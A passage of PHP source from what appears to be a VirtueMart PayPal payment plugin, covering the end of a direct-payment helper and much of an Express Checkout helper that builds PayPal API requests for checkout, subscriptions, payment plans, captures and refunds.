$this->addShipTo($post_variables); $this->addCreditCard($post_variables); //$post_variables['SUBSCRIBERNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : ''; $post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number; $post_variables['DESC'] = $this->getRecurringProfileDesc(); $startDate = JFactory::getDate(); $post_variables['PROFILESTARTDATE'] = $startDate->toISO8601(); $post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling'; $post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->subscription_duration); $post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->subscription_duration); $post_variables['TOTALBILLINGCYCLES'] = $this->_method->subscription_term; if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) { $post_variables['INITAMT'] = $this->cart->pricesUnformatted['salesPricePayment']; $post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure'; $post_variables['AMT'] = $this->total - $this->cart->pricesUnformatted['salesPricePayment']; } else { $post_variables['AMT'] = $this->total; } if ($this->_method->subcription_trials) { $post_variables['TRIALBILLINGFREQUENCY']= $this->getDurationValue($this->_method->trial1_duration); $post_variables['TRIALBILLINGPERIOD'] = $this->getDurationUnit($this->_method->trial1_duration); $post_variables['TRIALTOTALBILLINGCYCLES']= $this->_method->subcription_trials; $post_variables['TRIALAMT'] = ($this->_method->trial1_price) ? $this->_method->trial1_price : 0; } $this->sendRequest($post_variables); return $this->handleResponse(); } public function CreatePaymentPlanProfile() { //Payment plans are not implemented in the API. //A workaround is to create a subscription profile and divide the total amount by the term. $post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile'); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addCreditCard($post_variables); //$post_variables['SUBSCRIBERNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : ''; $post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number; $post_variables['DESC'] = $this->order['details']['BT']->order_number.': '.$this->getPaymentPlanDesc(); if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) { $initAmount = $this->cart->pricesUnformatted['salesPricePayment']; } else { $initAmount = 0; } $occurenceAmount = round(($this->total-$initAmount) / $this->_method->payment_plan_term,2); if ($this->_method->payment_plan_defer == 2) { $initAmount += $occurenceAmount; $occurencesCount = $this->_method->payment_plan_term - 1; } else { $occurencesCount = $this->_method->payment_plan_term; } if ($this->_method->payment_plan_defer && $this->_method->payment_plan_defer_strtotime) { $startDate = JFactory::getDate($this->_method->payment_plan_defer_strtotime); } else { $startDate = JFactory::getDate(); } $post_variables['PROFILESTARTDATE'] = $startDate->toISO8601(); $post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling'; $post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->payment_plan_duration); $post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->payment_plan_duration); $post_variables['TOTALBILLINGCYCLES'] = $occurenceAmount; if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) { $post_variables['INITAMT'] = $initAmount; $post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure'; } $post_variables['AMT'] = $occurenceAmount; $this->sendRequest($post_variables); return $this->handleResponse(); } function GetRecurringPaymentsProfileDetails($profileId) { $post_variables = $this->initPostVariables('GetRecurringPaymentsProfileDetails'); $post_variables['PROFILEID'] = $profileId; $this->sendRequest($post_variables); return $this->handleResponse(); } function ManageRecurringPaymentsProfileStatus($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); $post_variables = $this->initPostVariables('ManageRecurringPaymentsProfileStatus'); $post_variables['PROFILEID'] = $paypal_data->PROFILEID; $post_variables['ACTION'] = 'Cancel'; $this->sendRequest($post_variables); $this->handleResponse(); return $this->GetRecurringPaymentsProfileDetails($paypal_data->PROFILEID); } function DoCapture($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); //Only capture payment if it still pending if (strcasecmp($paypal_data->PAYMENTSTATUS ,'Pending') !=0 && strcasecmp($paypal_data->PENDINGREASON, 'authorization') !=0) { return false; } $post_variables = $this->initPostVariables('DoCapture'); //Do we need to reauthorize ? $reauth = $this->doReauthorize($paypal_data->txn_id,$paypal_data); if ($reauth === false) { $post_variables['AuthorizationID'] = $paypal_data->TRANSACTIONID; } else { $post_variables['AuthorizationID'] = $reauth; } $post_variables['PAYMENTACTION'] = 'DoCapture'; $post_variables['AMT'] = $this->total; $post_variables['COMPLETETYPE'] = 'Complete'; $this->sendRequest($post_variables); //print_a($post_variables); //print_a($this->response); $success = $this->handleResponse(); if (!$success) { $this->doVoid($payment); } return $success; } function doReauthorize($AuthorizationID,$paypal_data) { return false; $post_variables = $this->initPostVariables('DoReauthorization'); $post_variables['AuthorizationID'] = $AuthorizationID; $post_variables['PAYMENTACTION'] = 'DoReauthorization'; $post_variables['AMT'] = $this->total; $this->sendRequest($post_variables); if ($this->handleResponse()) { return $this->response['AUTHORIZATIONID']; } else { return false; } } function RefundTransaction($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); if ($paypal_data->PAYMENTSTATUS == 'Completed') { $post_variables = $this->initPostVariables('RefundTransaction'); $post_variables['REFUNDTYPE'] = 'Full'; } else if ($paypal_data->PAYMENTSTATUS == 'Pending' && $paypal_data->PENDINGREASON == 'authorization') { $post_variables = $this->initPostVariables('DoVoid'); } else { return false; } $post_variables['AuthorizationID'] = $paypal_data->TRANSACTIONID; $this->sendRequest($post_variables); return $this->handleResponse(); } function doVoid($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); $post_variables = $this->initPostVariables('DoVoid'); $post_variables['AuthorizationID'] = $paypal_data->TRANSACTIONID; $this->sendRequest($post_variables); return $this->handleResponse(); } function validate($enqueueMessage=true) { if (!class_exists('Creditcard')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'creditcard.php'); } $html = ''; $cc_valid = true; $errormessages = array(); $cc_type = $this->customerData->getVar('cc_type'); $cc_number = $this->customerData->getVar('cc_number'); $cc_cvv = $this->customerData->getVar('cc_cvv'); $cc_expire_month = $this->customerData->getVar('cc_expire_month'); $cc_expire_year = $this->customerData->getVar('cc_expire_year'); if (!Creditcard::validate_credit_card_number($cc_type, $cc_number)) { $errormessages[] = 'VMPAYMENT_PAYPAL_CC_CARD_NUMBER_INVALID'; $cc_valid = false; } if ($this->_method->cvv_required or $cc_type=='Maestro') { $required=true; } else { $required=false; } if (!Creditcard::validate_credit_card_cvv($cc_type, $cc_cvv, $required)) { $errormessages[] = 'VMPAYMENT_PAYPAL_CC_CARD_CVV_INVALID'; $cc_valid = false; } if (!Creditcard::validate_credit_card_date($cc_type, $cc_expire_month, $cc_expire_year)) { $errormessages[] = 'VMPAYMENT_PAYPAL_CC_CARD_DATE_INVALID'; $cc_valid = false; } if (!$cc_valid) { foreach ($errormessages as $msg) { $html .= Jtext::_($msg) . "
"; } } if (!$cc_valid && $enqueueMessage) { $app = & JFactory::getApplication(); $app->enqueueMessage($html,'error'); } $displayInfoMsg=""; if (!$cc_valid) { $displayInfoMsg=false; return false; } else { return parent::validate($displayInfoMsg); } } function displayExtraPluginInfo() { $extraInfo = ''; //if ($this->customerData->getVar('cc_number') && $this->validate()) { if ($this->customerData->getVar('cc_number') ) { $cc_number = "**** **** **** " . substr($this->customerData->getVar('cc_number'), -4); $creditCardInfos = '
' . JText::_('VMPAYMENT_PAYPAL_CC_CCTYPE') . $this->customerData->getVar('cc_type') . '
'; $creditCardInfos .=JText::_('VMPAYMENT_PAYPAL_CC_CCNUM') . $cc_number . '
'; $creditCardInfos .= JText::_('VMPAYMENT_PAYPAL_CC_CVV2') . '****' . '
'; $creditCardInfos .= JText::_('VMPAYMENT_PAYPAL_CC_EXDATE') . $this->customerData->getVar('cc_expire_month') . '/' . $this->customerData->getVar('cc_expire_year'); $creditCardInfos .="
"; $extraInfo .= $creditCardInfos; } else { $extraInfo .= '
'.JText::_('VMPAYMENT_PAYPAL_CC_ENTER_INFO').''; } $extraInfo .= parent::getExtraPluginInfo(); return $extraInfo; } protected function getDurationUnit($duration) { $parts = explode('-',$duration); switch ($parts[1]) { case 'D': return 'Day'; case 'W': return 'Week'; case 'M': return 'Month'; case 'Y': return 'Year'; } } function getOrderBEFields() { $showOrderBEFields = array( 'method' => 'method', 'ACK' => 'ACK', 'TXN_ID' => 'TRANSACTIONID', 'PROFILEID' => 'PROFILEID', 'MC_GROSS' => 'PAYMENTINFO_0_AMT', 'MC_FEE' => 'PAYMENTINFO_0_FEEAMT', 'TAXAMT' => 'PAYMENTINFO_0_TAXAMT', 'MC_CURRENCY' => 'PAYMENTINFO_0_CURRENCYCODE', 'PAYMENT_STATUS' => 'PAYMENTSTATUS', 'REFUND_STATUS' => 'REFUNDSTATUS', 'PENDING_REASON' => 'PENDINGREASON', 'REASONCODE' => 'PAYMENTINFO_0_REASONCODE', 'ERRORCODE' => 'PAYMENTINFO_0_ERRORCODE', 'PROTECTION_ELIGIBILITY' => 'PAYMENTINFO_0_PROTECTIONELIGIBILITY', 'CORRELATIONID' => 'CORRELATIONID', ); return $showOrderBEFields; } } helpers/paypalexp.php000066600000110045151374100140010723 0ustar00_method->sandbox ) { $this->api_login_id = $this->_method->sandbox_api_login_id; if ($this->_method->authentication == 'signature') { $this->api_signature = $this->_method->sandbox_api_signature; $this->api_certificate = ''; } else { $this->api_signature = ''; $this->api_certificate = $this->_method->sandbox_api_certificate; } $this->api_password = $this->_method->sandbox_api_password; $this->merchant_email = $this->_method->sandbox_merchant_email; } else { $this->api_login_id = $this->_method->api_login_id; $this->api_signature = $this->_method->api_signature; $this->api_certificate = $this->_method->api_certificate; $this->api_password = $this->_method->api_password; $this->merchant_email = $this->_method->paypal_merchant_email; } if ((!$this->ExpCredentialsValid() OR !$this->isAacceleratedOnboardingValid())) { $text = JText::sprintf('VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET', $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id); vmError($text, $text); } if (empty ($this->_method->expected_maxamount)) { $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_EXPECTEDMAXAMOUNT'), $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id); vmError($text, $text); } } function expCredentialsValid() { return $this->api_login_id && $this->api_password && ($this->api_signature || $this->api_certificate); } /** * * Check if it is Accelerated Boarding possible for Express Checkout * @return bool */ function isAacceleratedOnboarding() { return $this->_method->accelerated_onboarding; } /** * * Check if it is Accelerated Boarding possible for Express Checkout * @return bool */ function isAacceleratedOnboardingValid() { if ($this->_method->accelerated_onboarding AND empty($this->merchant_email)) { return false; } else { return true; } } function initPostVariables($paypalMethod) { $post_variables = Array(); $post_variables['METHOD'] = $paypalMethod; $post_variables['version'] = "104.0"; // 104.0 required by Paypal //https://developer.paypal.com/webapps/developer/docs/classic/release-notes/ $post_variables['USER'] = $this->api_login_id; $post_variables['PWD'] = $this->api_password; $post_variables['BUTTONSOURCE'] = self::BNCODE;; if ($this->api_signature) { $post_variables['SIGNATURE'] = $this->api_signature; } $post_variables['CURRENCYCODE'] = $this->currency_code_3; if (is_array($this->order) && is_object($this->order['details']['BT'])) { $post_variables['INVNUM'] = $this->order['details']['BT']->order_number; } else if (is_object($this->order)) { $post_variables['INVNUM'] = $this->order->order_number; } $post_variables['IPADDRESS'] = ($_SERVER['REMOTE_ADDR'] == '::1') ? '127.0.0.1' : $_SERVER['REMOTE_ADDR']; return $post_variables; } function addAcceleratedOnboarding(&$post_variables) { if ($this->_method->accelerated_onboarding) { $post_variables['SUBJECT'] = $this->merchant_email; } } function addBillTo(&$post_variables) { $addressBT = $this->order['details']['BT']; //Bill To $post_variables['FIRSTNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : ''; $post_variables['LASTNAME'] = isset($addressBT->last_name) ? $this->truncate($addressBT->last_name, 50) : ''; $post_variables['STREET'] = isset($addressBT->address_1) ? $this->truncate($addressBT->address_1, 60) : ''; $post_variables['CITY'] = isset($addressBT->city) ? $this->truncate($addressBT->city, 40) : ''; $post_variables['ZIP'] = isset($addressBT->zip) ? $this->truncate($addressBT->zip, 40) : ''; $post_variables['STATE'] = isset($addressBT->virtuemart_state_id) ? ShopFunctions::getStateByID($addressBT->virtuemart_state_id, 'state_2_code') : ''; $post_variables['COUNTRYCODE'] = ShopFunctions::getCountryByID($addressBT->virtuemart_country_id, 'country_2_code'); } function addShipTo(&$post_variables) { $addressST = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']); //Ship To $post_variables['SHIPTONAME'] = isset($addressST->first_name) ? $this->truncate($addressST->first_name, 50) : ''; $post_variables['SHIPTOSTREET'] = isset($addressST->first_name) ? $this->truncate($addressST->address_1, 60) : ''; $post_variables['SHIPTOCITY'] = isset($addressST->city) ? $this->truncate($addressST->city, 40) : ''; $post_variables['SHIPTOZIP'] = isset($addressST->zip) ? $this->truncate($addressST->zip, 40) : ''; $post_variables['SHIPTOSTATE'] = isset($addressST->virtuemart_state_id) ? ShopFunctions::getStateByID($addressST->virtuemart_state_id, 'state_2_code') : ''; $post_variables['SHIPTOCOUNTRYCODE'] = ShopFunctions::getCountryByID($addressST->virtuemart_country_id, 'country_2_code'); } /** * https://developer.paypal.com/webapps/developer/docs/classic/api/merchant/SetExpressCheckout_API_Operation_NVP/ * @param $post_variables */ function addPrices(&$post_variables) { $paymentCurrency = CurrencyDisplay::getInstance($this->_method->payment_currency); $i = 0; $taxAmount = 0; // Product prices if ($this->cart->products) { foreach ($this->cart->products as $key => $product) { $post_variables["L_PAYMENTREQUEST_0_NAME" . $i] = $this->getItemName($product->product_name); if ($product->product_sku) { $post_variables["L_PAYMENTREQUEST_0_NUMBER" . $i] = $product->product_sku; } $post_variables["L_PAYMENTREQUEST_0_AMT" . $i] = $this->getProductAmount($this->cart->pricesUnformatted[$key]); $post_variables["L_PAYMENTREQUEST_0_QTY" . $i] = $product->quantity; $i++; } } $post_variables["PAYMENTREQUEST_0_ITEMAMT"] = vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPrice'], $this->_method->payment_currency); $salesPriceShipment = vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceShipment'], $this->_method->payment_currency); if ($salesPriceShipment >= 0) { $post_variables["PAYMENTREQUEST_0_SHIPPINGAMT"] = $salesPriceShipment; } else { $post_variables["PAYMENTREQUEST_0_SHIPDISCAMT"] = $salesPriceShipment; } $handling = $this->getHandlingAmount(); if (!empty($this->cart->pricesUnformatted['salesPriceCoupon'])) { $handling += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceCoupon'], $this->_method->payment_currency); } $post_variables["PAYMENTREQUEST_0_HANDLINGAMT"] = $handling; $post_variables['PAYMENTREQUEST_0_AMT'] = $this->total; $post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3; $pricesCurrency = CurrencyDisplay::getInstance($this->cart->pricesCurrency); } function addToken(&$post_variables) { $post_variables['TOKEN'] = $this->customerData->getVar('token'); $post_variables['PAYERID'] = $this->customerData->getVar('payer_id'); } /* * languages supported according to this https://cms.paypal.com/uk/cgi-bin/?cmd=_render-content&content_ID=developer/e_howto_api_ECCustomizing */ function getLocaleCode() { $jlang = JFactory::getLanguage(); $tag = $jlang->getTag(); $languageSpecific = array('da_DK', //', // – Danish (for Denmark only) 'he_IL', //', // – Hebrew (all) 'id_ID', //– Indonesian (for Indonesia only) 'ja_JP', //', // – Japanese (for Japan only) 'no_NO', //– Norwegian (for Norway only) 'pt_BR', //', // – Brazilian Portuguese (for Portugal and Brazil only) 'ru_RU', //', // – Russian (for Lithuania, Latvia, and Ukraine only) 'sv_SE', //', // – Swedish (for Sweden only) 'th_TH', //', // – Thai (for Thailand only) 'tr_TR', //- //', // – Turkish (for Turkey only)) 'zh_CN', //– Simplified Chinese (for China only) 'zh_HK', //– Traditional Chinese (for Hong Kong only) 'zh_TW', // – Traditional Chinese (for Taiwan only) ); if (in_array($tag, $languageSpecific)) { return $tag; } $paypalLanguages = array('AU', 'AT', // Austria 'BE', //', Belgium 'BR', // Brazil 'CA', // – Canada 'CH', // Switzerland 'CN', // – China 'DE', // – Germany 'ES', // – Spain 'GB', // – United Kingdom 'FR', // – France 'IT', // – Italy 'NL', // – Netherlands 'PL', // – Poland 'PT', // – Portugal 'RU', // – Russia 'US', // – United States ); $explode = explode("-", $tag); if (isset($explode[1])) { $country = $explode[1]; if (in_array($country, $paypalLanguages)) { return $country; } } return "GB"; } public function getToken() { $post_variables = $this->initPostVariables('SetExpressCheckout'); $this->addAcceleratedOnboarding($post_variables); $this->addPrices($post_variables); $this->setTimeOut(self::TIMEOUT_SETEXPRESSCHECKOUT); $post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3; $post_variables['RETURNURL'] = JURI::root() . 'index.php?option=com_virtuemart&view=cart&task=setpayment&expresscheckout=done&virtuemart_paymentmethod_id=' . $this->_method->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid'). '&lang='.JRequest::getCmd('lang','') ; $post_variables['CANCELURL'] = JURI::root() . 'index.php?option=com_virtuemart&view=cart&expresscheckout=cancel&Itemid=' . JRequest::getInt('Itemid') . '&lang='.JRequest::getCmd('lang','') ; //$post_variables['CANCELURL'] = substr(JURI::root(false,''),0,-1). JROUTE::_('index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&expresscheckout=cancel'); $post_variables['ADDROVERRIDE'] = $this->_method->address_override; $post_variables['NOSHIPPING'] = $this->_method->no_shipping; $post_variables['MAXAMT'] = $this->_method->expected_maxamount; $post_variables['LOGOIMG'] = $this->getLogoImage(); //$this->debugLog($post_variables['LOGOIMG'], 'logoImg:', 'debug'); $post_variables['LOCALECODE'] = $this->getLocaleCode(); if ($this->_method->headerimg) { //$post_variables['HDRIMG'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->headerimg; } if ($this->_method->bordercolor) { $post_variables['CARTBORDERCOLOR'] = str_replace('#', '', strtoupper($this->_method->bordercolor)); //$post_variables['PAYFLOWCOLOR'] = 'ff0033'; //str_replace('#','',strtoupper($this->_method->bordercolor)); } if ($this->_method->payment_type == '_xclick-subscriptions') { $post_variables['L_BILLINGTYPE0'] = 'RecurringPayments'; $post_variables['L_BILLINGAGREEMENTDESCRIPTION0'] = $this->getRecurringProfileDesc(); } else { $post_variables['PAYMENTREQUEST_0_PAYMENTACTION'] = $this->getPaymentAction(); // done in addPrices // Total of order, including shipping, handling, tax, and any other billing adjustments such as a credit due. // $post_variables['PAYMENTREQUEST_0_AMT'] = $this->total; // $post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3; } $this->sendRequest($post_variables); $valid = $this->handleResponse(); if ($valid) { $this->customerData->setVar('token', $this->response['TOKEN']); $this->customerData->save(); $this->redirectToPayPal(); } else { // already done in handleResponse() // $this->customerData->clear(); return false; } return true; } public function getExpressCheckoutDetails() { $post_variables = $this->initPostVariables('GetExpressCheckoutDetails'); $this->addAcceleratedOnboarding($post_variables); $this->setTimeOut(self::TIMEOUT_GETEXPRESSCHECKOUTDETAILS); $this->addToken($post_variables); $this->sendRequest($post_variables); if ($this->handleResponse()) { $this->customerData->setVar('payer_id', $this->response['PAYERID']); $this->customerData->setVar('first_name', $this->response['FIRSTNAME']); $this->customerData->setVar('last_name', $this->response['LASTNAME']); $this->customerData->setVar('payer_email', $this->response['EMAIL']); $this->customerData->setVar('paypal_response', $this->response); $this->customerData->save(); $this->storeAddresses(); return true; } else { return false; } } public function ManageLogin() { } public function ManageCheckout() { switch ($this->_method->payment_type) { case '_xclick': return $this->DoPayment(); case '_xclick-subscriptions': return $this->CreateRecurringPaymentsProfile(); case '_xclick-payment-plan': return $this->CreatePaymentPlanProfile(); } } public function ManageCancelOrder($payment) { $this->RefundTransaction($payment); /* switch ($this->_method->payment_type) { case '_xclick': return $this->RefundTransaction($payment); case '_xclick-subscriptions': case '_xclick-payment-plan': return $this->ManageRecurringPaymentsProfileStatus($payment); } */ } public function DoPayment() { static $redirect = 0; $post_variables = $this->initPostVariables('DoExpressCheckoutPayment'); $this->addAcceleratedOnboarding($post_variables); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addPrices($post_variables); $this->addToken($post_variables); $post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3; $post_variables['PAYMENTREQUEST_0_PAYMENTACTION'] = $this->getPaymentAction(); $post_variables['PAYMENTREQUEST_0_AMT'] = $this->total; $this->sendRequest($post_variables); // https://developer.paypal.com/webapps/developer/docs/classic/express-checkout/ht_ec_fundingfailure10486/ $responseValid = $this->handleResponse(); if (!$responseValid) { if ($this->response['L_ERRORCODE0'] == self::FRAUD_FAILURE_ERROR_CODE and $this->_method->payment_action == 'Sale' and $redirect <= 2) { $redirect++; // redirect buyer to PayPal $this->redirectToPayPal($post_variables['TOKEN']); } return false; } return true; } public function CreateRecurringPaymentsProfile() { //https://developer.paypal.com/webapps/developer/docs/classic/direct-payment/ht_dp-recurringPaymentProfile-curl-etc/ //https://developer.paypal.com/webapps/developer/docs/classic/api/merchant/CreateRecurringPaymentsProfile_API_Operation_NVP/ $post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile'); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addToken($post_variables); //$post_variables['SUBSCRIBERNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : ''; $post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number; $post_variables['DESC'] = $this->getRecurringProfileDesc(); $startDate = JFactory::getDate(); $post_variables['PROFILESTARTDATE'] = $startDate->toISO8601(); $post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling'; $post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->subscription_duration); $post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->subscription_duration); $post_variables['TOTALBILLINGCYCLES'] = $this->_method->subscription_term; if ($this->cart->pricesUnformatted['salesPricePayment']) { $post_variables['INITAMT'] = $this->cart->pricesUnformatted['salesPricePayment']; $post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure'; $post_variables['AMT'] = $this->total - $this->cart->pricesUnformatted['salesPricePayment']; } else { $post_variables['AMT'] = $this->total; } if ($this->_method->subcription_trials) { $post_variables['TRIALBILLINGFREQUENCY'] = $this->getDurationValue($this->_method->trial1_duration); $post_variables['TRIALBILLINGPERIOD'] = $this->getDurationUnit($this->_method->trial1_duration); $post_variables['TRIALTOTALBILLINGCYCLES'] = $this->_method->subcription_trials; $post_variables['TRIALAMT'] = ($this->_method->trial1_price) ? $this->_method->trial1_price : 0; } $this->sendRequest($post_variables); return $this->handleResponse(); } public function CreatePaymentPlanProfile() { //Payment plans are not implemented in the API. //A workaround is to create a subscription profile and divide the total amount by the term. $post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile'); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addToken($post_variables); //$post_variables['SUBSCRIBERNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : ''; $post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number; $post_variables['DESC'] = $this->order['details']['BT']->order_number . ': ' . $this->getPaymentPlanDesc(); if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) { $initAmount = $this->cart->pricesUnformatted['salesPricePayment']; } else { $initAmount = 0; } $occurence_amount = round(($this->total - $initAmount) / $this->_method->payment_plan_term, 2); if ($this->_method->payment_plan_defer == 2) { $initAmount += $occurence_amount; $occurences_count = $this->_method->payment_plan_term - 1; } else { $occurences_count = $this->_method->payment_plan_term; } if ($this->_method->payment_plan_defer && $this->_method->payment_plan_defer_strtotime) { $startDate = JFactory::getDate($this->_method->payment_plan_defer_strtotime); } else { $startDate = JFactory::getDate(); } $post_variables['PROFILESTARTDATE'] = $startDate->toISO8601(); $post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling'; $post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->payment_plan_duration); $post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->payment_plan_duration); $post_variables['TOTALBILLINGCYCLES'] = $occurences_count; if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) { $post_variables['INITAMT'] = $initAmount; $post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure'; } $post_variables['AMT'] = $occurence_amount; $this->sendRequest($post_variables); return $this->handleResponse(); } function GetRecurringPaymentsProfileDetails($profileId) { $post_variables = $this->initPostVariables('GetRecurringPaymentsProfileDetails'); $post_variables['PROFILEID'] = $profileId; $this->sendRequest($post_variables); return $this->handleResponse(); } function ManageRecurringPaymentsProfileStatus($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); $post_variables = $this->initPostVariables('ManageRecurringPaymentsProfileStatus'); $post_variables['PROFILEID'] = $paypal_data->PROFILEID; $post_variables['ACTION'] = 'Cancel'; $post_variables['TOKEN'] = $paypal_data->TOKEN; $post_variables['PAYERID'] = $paypal_data->payer_id; $this->sendRequest($post_variables); $this->handleResponse(); return $this->GetRecurringPaymentsProfileDetails($paypal_data->PROFILEID); } function DoCapture($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); //Only capture payment if it still pending if (strcasecmp($paypal_data->PAYMENTINFO_0_PAYMENTSTATUS, 'Pending') != 0 && strcasecmp($paypal_data->PAYMENTINFO_0_PENDINGREASON, 'Authorization') != 0) { return false; } $post_variables = $this->initPostVariables('DoCapture'); //Do we need to reauthorize ? $reauth = $this->doReauthorize($paypal_data->PAYMENTINFO_0_TRANSACTIONID, $paypal_data); if ($reauth === false) { $post_variables['AUTHORIZATIONID'] = $paypal_data->PAYMENTINFO_0_TRANSACTIONID; } else { $post_variables['AUTHORIZATIONID'] = $reauth; } $post_variables['TOKEN'] = $paypal_data->TOKEN; $post_variables['PAYERID'] = $paypal_data->payer_id; $post_variables['PAYMENTACTION'] = 'DoCapture'; $post_variables['AMT'] = $this->total; $post_variables['COMPLETETYPE'] = 'Complete'; $this->sendRequest($post_variables); $success = $this->handleResponse(); if (!$success) { $this->doVoid($payment); } return $success; } function doReauthorize($AuthorizationID, $paypal_data) { // TODO return false; $post_variables = $this->initPostVariables('DoReauthorization'); $post_variables['TOKEN'] = $paypal_data->TOKEN; $post_variables['PAYERID'] = $paypal_data->payer_id; $post_variables['AuthorizationID'] = $AuthorizationID; $post_variables['PAYMENTACTION'] = 'DoReauthorization'; $post_variables['AMT'] = $this->total; $post_variables['CURRENCYCODE'] = $paypal_data->PAYMENTINFO_0_CURRENCYCODE; $this->sendRequest($post_variables); if ($this->handleResponse()) { return $this->response['AUTHORIZATIONID']; } else { $error = ''; for ($i = 0; isset($this->response["L_ERRORCODE" . $i]); $i++) { $error .= $this->response["L_ERRORCODE" . $i]; $message = isset($this->response["L_LONGMESSAGE" . $i]) ? $this->response["L_LONGMESSAGE" . $i] : $this->response["L_SHORTMESSAGE" . $i]; $error .= ":" . $message . "
"; } VmError($error); return false; } } function RefundTransaction($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); if ($payment->paypal_response_payment_status == 'Completed') { $post_variables = $this->initPostVariables('RefundTransaction'); $post_variables['REFUNDTYPE'] = 'Full'; } else if ($payment->paypal_response_payment_status == 'Pending' && $payment->paypal_response_pending_reason == 'authorization') { $post_variables = $this->initPostVariables('DoVoid'); } else { return false; } $post_variables['AuthorizationID'] = $payment->paypal_response_txn_id; $post_variables['TRANSACTIONID'] = $payment->paypal_response_txn_id; $post_variables['TOKEN'] = $paypal_data->TOKEN; $post_variables['PAYERID'] = $paypal_data->payer_id; $this->sendRequest($post_variables); return $this->handleResponse(); } function doVoid($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); $post_variables = $this->initPostVariables('DoVoid'); $post_variables['AuthorizationID'] = $payment->paypal_response_txn_id; $post_variables['TRANSACTIONID'] = $payment->paypal_response_txn_id; $post_variables['TOKEN'] = $paypal_data->TOKEN; $post_variables['PAYERID'] = $paypal_data->payer_id; $this->sendRequest($post_variables); return $this->handleResponse(); } function isFraudDetected() { if ($this->response['ACK'] == 'SuccessWithWarning' && $this->response['L_ERRORCODE0'] == self::FMF_PENDED_ERROR_CODE && $this->response['PAYMENTSTATUS'] == "Pending" ) { $this->debugLog($this->response, 'Fraud Detected', 'error'); return true; } else { return false; } } function getNewOrderStatus() { if ($this->isFraudDetected()) { $new_status = $this->_method->status_fraud; } elseif ($this->_method->payment_action == 'Authorization' || $this->_method->payment_type == '_xclick-payment-plan' || $this->response['ACK'] == 'SuccessWithWarning' || $this->response['PAYMENTINFO_0_PAYMENTSTATUS'] == 'Pending') { $new_status = $this->_method->status_pending; } else { $new_status = $this->_method->status_success; } return $new_status; } /** * How To Recover from Funding Failure Error Code 10486 in DoExpressCheckoutPayment * https://developer.paypal.com/docs/classic/express-checkout/ht_ec_fundingfailure10486/ * @return bool */ function handleResponse() { if ($this->response) { if ($this->response['ACK'] == 'Failure' || $this->response['ACK'] == 'FailureWithWarning') { if ($this->response['L_ERRORCODE0'] != self::FRAUD_FAILURE_ERROR_CODE) { $this->customerData->clear(); } $error = ''; $public_error = ''; for ($i = 0; isset($this->response["L_ERRORCODE" . $i]); $i++) { $error .= $this->response["L_ERRORCODE" . $i]; $message = isset($this->response["L_LONGMESSAGE" . $i]) ? 